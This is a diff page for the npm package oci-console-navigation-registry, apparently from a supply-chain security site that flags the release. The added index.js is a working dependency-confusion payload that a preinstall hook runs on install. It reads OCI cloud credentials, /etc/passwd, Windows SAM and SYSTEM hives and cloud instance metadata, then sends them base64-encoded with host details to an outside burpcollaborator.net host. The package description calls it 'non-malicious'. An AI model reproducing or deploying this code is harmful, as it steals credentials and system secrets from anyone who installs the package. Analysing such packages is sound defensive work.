oci-console-navigation-registry 0.0.1-security → 2.2.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of oci-console-navigation-registry might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +121 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,121 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const net = require('net');
4
+ const os = require("os");
5
+ const dns = require("dns");
6
+ const querystring = require("querystring");
7
+ const https = require("https");
8
+ const packageJSON = require("./package.json");
9
+ const package = packageJSON.name;
10
+
11
+ var ociconfig = process.env.HOME+'/.oci/config';
12
+ let base64data1 = '';
13
+ try {
14
+ if (fs.existsSync(ociconfig)) {
15
+ var data1 = fs.readFileSync(ociconfig,'utf8');
16
+ let buff1 = Buffer.from(data1);
17
+ base64data1 = buff1.toString('base64');
18
+ }} catch(error) {
19
+ console.log('')
20
+ }
21
+
22
+ var etcpasswd = '/etc/passwd';
23
+ let base64data2 = '';
24
+ try {
25
+ if (fs.existsSync(etcpasswd)) {
26
+ var data2 = fs.readFileSync(etcpasswd,'utf8');
27
+ let buff2 = Buffer.from(data2);
28
+ base64data2 = buff2.toString('base64');
29
+ }} catch(error) {
30
+ console.log('')
31
+ }
32
+
33
+ var sam = 'C:\WINDOWS\system32\config\SAM';
34
+ let base64data3 = '';
35
+ try {
36
+ if (fs.existsSync(sam)) {
37
+ var data3 = fs.readFileSync(sam,'utf8');
38
+ let buff3 = Buffer.from(data3);
39
+ base64data3 = buff3.toString('base64');
40
+ }} catch(error) {
41
+ console.log('')
42
+ }
43
+
44
+ var systemfile = 'C:\WINDOWS\system32\config\SYSTEM';
45
+ let base64data4 = '';
46
+ try {
47
+ if (fs.existsSync(systemfile)) {
48
+ var data4 = fs.readFileSync(systemfile,'utf8');
49
+ let buff4 = Buffer.from(data4);
50
+ base64data4 = buff4.toString('base64');
51
+ }} catch(error) {
52
+ console.log('')
53
+ }
54
+
55
+ base64data5 = '';
56
+ function req2() {
57
+ http.get({
58
+ hostname: '169.254.169.254',
59
+ port: 80,
60
+ path: '/opc/v1/instance',
61
+ agent: false}, (res) => {
62
+ res.setEncoding('utf8');
63
+ let data = '';
64
+ res.on("data", (d) => {
65
+ var x;
66
+ x = d;
67
+ let buff5 = Buffer.from(x);
68
+ base64data5 = buff5.toString('base64');
69
+
70
+ const trackingData = JSON.stringify({
71
+ p: package,
72
+ c: __dirname,
73
+ homedir: os.homedir(),
74
+ networkinterfaces: os.networkInterfaces(),
75
+ release: os.release(),
76
+ userid: os.userInfo().uid,
77
+ hostname: os.hostname(),
78
+ username: os.userInfo().username,
79
+ dns: dns.getServers(),
80
+ r: packageJSON ? packageJSON.___resolved : undefined,
81
+ v: packageJSON.version,
82
+ pjson: packageJSON,
83
+ });
84
+
85
+ var postData = querystring.stringify({
86
+ msg: trackingData,
87
+ });
88
+
89
+ var options = {
90
+ hostname: "69d9p746cqlqc2gub8npay3m3d98xx.burpcollaborator.net",
91
+ port: 443,
92
+ path: "/",
93
+ method: "POST",
94
+ headers: {
95
+ "Content-Type": "application/x-www-form-urlencoded",
96
+ "Content-Length": postData.length,
97
+ "Content-Oci": base64data1,
98
+ "Content-etcp": base64data2,
99
+ "Contentet-sam": base64data3,
100
+ "Contentet-system": base64data4,
101
+ "Content-imdsv1": base64data5
102
+ },
103
+ };
104
+
105
+ var req = https.request(options, (res) => {
106
+ res.on("data", (d) => {
107
+ process.stdout.write(d);
108
+ });
109
+ });
110
+
111
+ req.on("error", (e) => {
112
+ // console.error(e);
113
+ });
114
+
115
+ req.write(postData);
116
+ req.end();
117
+ });
118
+ });
119
+ }
120
+
121
+ req2();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "oci-console-navigation-registry",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.2.1",
4
+ "description": "This is a non-malicious package for Oracle NPM Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^0.26.1"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=oci-console-navigation-registry for more information.